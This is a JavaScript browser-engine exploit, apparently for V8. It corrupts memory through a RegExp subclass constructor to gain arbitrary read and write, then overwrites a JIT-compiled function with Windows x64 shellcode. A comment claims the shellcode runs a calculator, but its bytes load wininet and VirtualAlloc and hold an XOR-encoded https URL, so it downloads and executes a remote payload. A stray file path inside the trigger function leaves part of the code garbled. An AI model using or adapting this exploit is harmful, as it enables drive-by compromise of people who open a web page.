ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [0x48,0x8b,0xc4,0x48,0x89,0x58,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x55,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8d,0x68,0xa1,0x48,0x81,0xec,0xb0,0x00,0x00,0x00,0x45,0x33,0xed,0xc7,0x45,0xd7,0x4b,0x65,0x72,0x6e,0x44,0x88,0x6d,0xe3,0x44,0x88,0x6d,0xd3,0x44,0x88,0x6d,0x2f,0x44,0x88,0x6d,0x17,0x44,0x88,0x6d,0xf3,0xc7,0x45,0xdb,0x65,0x6c,0x33,0x32,0xc7,0x45,0xdf,0x2e,0x64,0x6c,0x6c,0xc7,0x45,0xb7,0x57,0x69,0x6e,0x69,0xc7,0x45,0xbb,0x6e,0x65,0x74,0x2e,0xc7,0x45,0xbf,0x64,0x6c,0x6c,0x00,0xc7,0x45,0xc7,0x4c,0x6f,0x61,0x64,0xc7,0x45,0xcb,0x4c,0x69,0x62,0x72,0xc7,0x45,0xcf,0x61,0x72,0x79,0x41,0xc7,0x45,0x1f,0x49,0x6e,0x74,0x65,0xc7,0x45,0x23,0x72,0x6e,0x65,0x74,0xc7,0x45,0x27,0x52,0x65,0x61,0x64,0xc7,0x45,0x2b,0x46,0x69,0x6c,0x65,0xc7,0x45,0x07,0x49,0x6e,0x74,0x65,0xc7,0x45,0x0b,0x72,0x6e,0x65,0x74,0xc7,0x45,0x0f,0x4f,0x70,0x65,0x6e,0xc7,0x45,0x13,0x55,0x72,0x6c,0x41,0xc7,0x45,0xf7,0x49,0x6e,0x74,0x65,0xc7,0x45,0xfb,0x72,0x6e,0x65,0x74,0xc7,0x45,0xff,0x4f,0x70,0x65,0x6e,0x66,0xc7,0x45,0x03,0x41,0x00,0xc7,0x45,0xe7,0x56,0x69,0x72,0x74,0xc7,0x45,0xeb,0x75,0x61,0x6c,0x41,0xc7,0x45,0xef,0x6c,0x6c,0x6f,0x63,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x48,0x18,0x4c,0x8b,0x41,0x20,0xeb,0x12,0x49,0x8b,0x40,0x50,0x66,0x44,0x39,0x68,0x18,0x0f,0x84,0x4d,0x01,0x00,0x00,0x4d,0x8b,0x00,0x4d,0x85,0xc0,0x75,0xe9,0x4c,0x8b,0x45,0x67,0x49,0x63,0x40,0x3c,0x41,0x8b,0xd5,0x46,0x8b,0x8c,0x00,0x88,0x00,0x00,0x00,0x4d,0x03,0xc8,0x41,0x8b,0x49,0x20,0x49,0x03,0xc8,0x45,0x39,0x69,0x18,0x76,0x28,0x8b,0x01,0x42,0x80,0x3c,0x00,0x47,0x75,0x13,0x42,0x80,0x7c,0x00,0x0d,0x73,0x75,0x0b,0x46,0x38,0x6c,0x00,0x0e,0x0f,0x84,0x0f,0x01,0x00,0x00,0xff,0xc2,0x48,0x83,0xc1,0x04,0x41,0x3b,0x51,0x18,0x72,0xd8,0x48,0x8b,0x75,0x67,0x48,0x8d,0x55,0xc7,0x49,0x8b,0xc8,0xff,0xd6,0x48,0x8b,0xd8,0x48,0x8d,0x4d,0xd7,0xff,0xd3,0x48,0x8d,0x4d,0xb7,0x48,0x8b,0xf8,0xff,0xd3,0x48,0x8d,0x55,0xf7,0x48,0x8b,0xc8,0x48,0x8b,0xd8,0xff,0xd6,0x48,0x8d,0x55,0x07,0x48,0x8b,0xcb,0x4c,0x8b,0xf8,0xff,0xd6,0x48,0x8d,0x55,0x1f,0x48,0x8b,0xcb,0x4c,0x8b,0xe0,0xff,0xd6,0x48,0x8d,0x55,0xe7,0x48,0x8b,0xcf,0x4c,0x8b,0xf0,0xff,0xd6,0xbf,0x00,0x00,0x10,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x8b,0xd7,0x41,0xb8,0x00,0x30,0x00,0x00,0x33,0xc9,0xff,0xd0,0x4c,0x8d,0x0d,0xb5,0x00,0x00,0x00,0x48,0x8b,0xd8,0x41,0x8a,0x51,0x01,0x45,0x8a,0xc5,0x84,0xd2,0x74,0x19,0x49,0x8b,0xcd,0x80,0xf2,0x1f,0x41,0xfe,0xc0,0x88,0x14,0x01,0x41,0x0f,0xb6,0xc8,0x42,0x8a,0x54,0x09,0x01,0x84,0xd2,0x75,0xea,0x45,0x33,0xc9,0x44,0x89,0x6c,0x24,0x20,0x45,0x33,0xc0,0x33,0xd2,0x33,0xc9,0x41,0xff,0xd7,0x48,0x8b,0xc8,0x4c,0x89,0x6c,0x24,0x28,0x45,0x33,0xc9,0xc7,0x44,0x24,0x20,0x00,0xb4,0x00,0x80,0x45,0x33,0xc0,0x48,0x8b,0xd3,0x41,0xff,0xd4,0x48,0x85,0xc0,0x74,0x12,0x4c,0x8d,0x4d,0x67,0x44,0x8b,0xc7,0x48,0x8b,0xd3,0x48,0x8b,0xc8,0x41,0xff,0xd6,0xff,0xd3,0x4c,0x8d,0x9c,0x24,0xb0,0x00,0x00,0x00,0x49,0x8b,0x5b,0x38,0x49,0x8b,0x73,0x40,0x49,0x8b,0x7b,0x48,0x49,0x8b,0xe3,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5d,0xc3,0x4d,0x8b,0x40,0x20,0xe9,0xb6,0xfe,0xff,0xff,0x41,0x8b,0x41,0x24,0x49,0x03,0xc0,0x8b,0xca,0x0f,0xb7,0x14,0x48,0x41,0x8b,0x49,0x1c,0x49,0x03,0xc8,0x8b,0x34,0x91,0x49,0x03,0xf0,0xe9,0xe2,0xfe,0xff,0xff,0xc2,0x77,0x6b,0x6b,0x6f,0x6c,0x25,0x30,0x30,0x6b,0x70,0x6d,0x6a,0x6c,0x7b,0x6b,0x31,0x69,0x69,0x69,0x69,0x69,0x7d,0x7a,0x71,0x78,0x31,0x7c,0x70,0x72,0x25,0x27,0x2b,0x2b,0x2c,0x30,0x74,0x77,0x78,0x7e,0x6c,0x75,0x77,0x78,0x7b,0x7e,0x67,0x69,0x6c,0x77,0x00]; function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() {/Users/tengshe/Desktop/payload_x64.c var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); }